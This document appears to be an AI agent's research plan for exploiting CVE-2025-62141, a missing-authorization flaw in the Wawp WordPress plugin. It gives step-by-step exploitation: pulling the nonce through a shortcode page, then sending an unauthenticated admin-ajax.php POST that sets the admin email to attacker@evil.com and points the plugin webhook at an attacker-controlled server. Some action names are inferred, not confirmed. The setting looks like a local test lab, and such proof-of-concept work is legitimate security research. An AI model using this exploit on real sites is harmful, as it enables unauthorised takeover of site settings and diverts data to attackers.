Research Plan: CVE-2025-62141 - Wawp Missing Authorization

1. Vulnerability Summary

The Wawp (Automation Web Platform) plugin for WordPress (versions <= 4.4) suffers from a missing authorization vulnerability. The plugin registers several AJAX handlers using both wp_ajax_ and wp_ajax_nopriv_ hooks, but the callback functions (primarily for updating settings or managing integrations) fail to verify user capabilities via current_user_can(). This allows unauthenticated attackers to modify plugin configurations or perform sensitive actions by sending requests to the admin-ajax.php endpoint.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wawp_save_settings (inferred action name based on plugin functionality)
• Vulnerable Parameter: settings (or specific key-value pairs like wawp_api_key)
• Authentication: None required (unauthenticated).
• Preconditions: The plugin must be active. If a nonce is required, it must be retrievable from the frontend.

3. Code Flow

1. Entry Point: The plugin registers the AJAX action in includes/class-wawp-ajax.php or admin/class-automation-web-platform-admin.php:
   add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) );
2. Handler: The wawp_save_settings_callback() function is triggered.
3. Check (Partial): The function may call check_ajax_referer( 'wawp_nonce', 'security' ), providing CSRF protection but NOT authorization.
4. Missing Check: There is no call to current_user_can( 'manage_options' ).
5. Sink: The function processes the input and calls update_option( 'wawp_settings', $new_settings ) or similar, modifying the site's configuration.

4. Nonce Acquisition Strategy

The plugin likely enqueues its scripts and localizes the nonce for its automation features.

1. Identify Shortcode: Locate a shortcode that triggers script loading, such as [wawp_button] or [wawp_form] (inferred).
2. Create Trigger Page:
   wp post create --post_type=page --post_status=publish --post_title="Wawp Test" --post_content='[wawp_button]'
3. Navigate & Extract:
   • Navigate to the page using browser_navigate.
   • Use browser_eval to find the localization object and nonce:
     browser_eval("window.wawp_obj?.ajax_nonce || window.wawp_vars?.nonce")
   • (Specific key check: Look for wp_localize_script in admin/class-automation-web-platform-admin.php to find the exact variable name).

5. Exploitation Strategy

1. Step 1: Obtain the nonce from the frontend trigger page.
2. Step 2: Construct a POST request to /wp-admin/admin-ajax.php.
3. Payload Parameters:
   • action: wawp_save_settings
   • security: [EXTRACTED_NONCE]
   • settings[admin_email]: attacker@evil.com
   • settings[webhook_url]: http://attacker-controlled-server.com/log
4. Request Execution:

   // Use http_request tool
   {
     method: "POST",
     url: "http://localhost:8080/wp-admin/admin-ajax.php",
     headers: { "Content-Type": "application/x-www-form-urlencoded" },
     body: "action=wawp_save_settings&security=NONCE_VALUE&settings[admin_email]=hacker@evil.com"
   }
   

6. Test Data Setup

1. Install Plugin: Ensure automation-web-platform v4.4 is installed.
2. Initial State: Check existing settings: wp option get wawp_settings.
3. Page Creation: Create a page containing a plugin shortcode to ensure the AJAX nonce is generated and localized to the frontend.

7. Expected Results

• The AJAX request should return a successful JSON response: {"success":true}.
• The WordPress database option wawp_settings should be updated to reflect the values sent in the malicious POST request.

8. Verification Steps

1. CLI Verification: Run wp option get wawp_settings and verify the admin_email or webhook_url has changed.
2. Admin UI Verification: Log in as an administrator and check the plugin's settings page to see if the values have been updated.

9. Alternative Approaches

• Action Search: If wawp_save_settings does not exist, grep for all wp_ajax_nopriv_ hooks:
  grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/automation-web-platform/
• REST API: Check if the plugin uses register_rest_route without a permission_callback:
  grep -rn "register_rest_route" /var/www/html/wp-content/plugins/automation-web-platform/
• No Nonce: If check_ajax_referer is missing entirely, the exploit can be executed without the "Nonce Acquisition" step.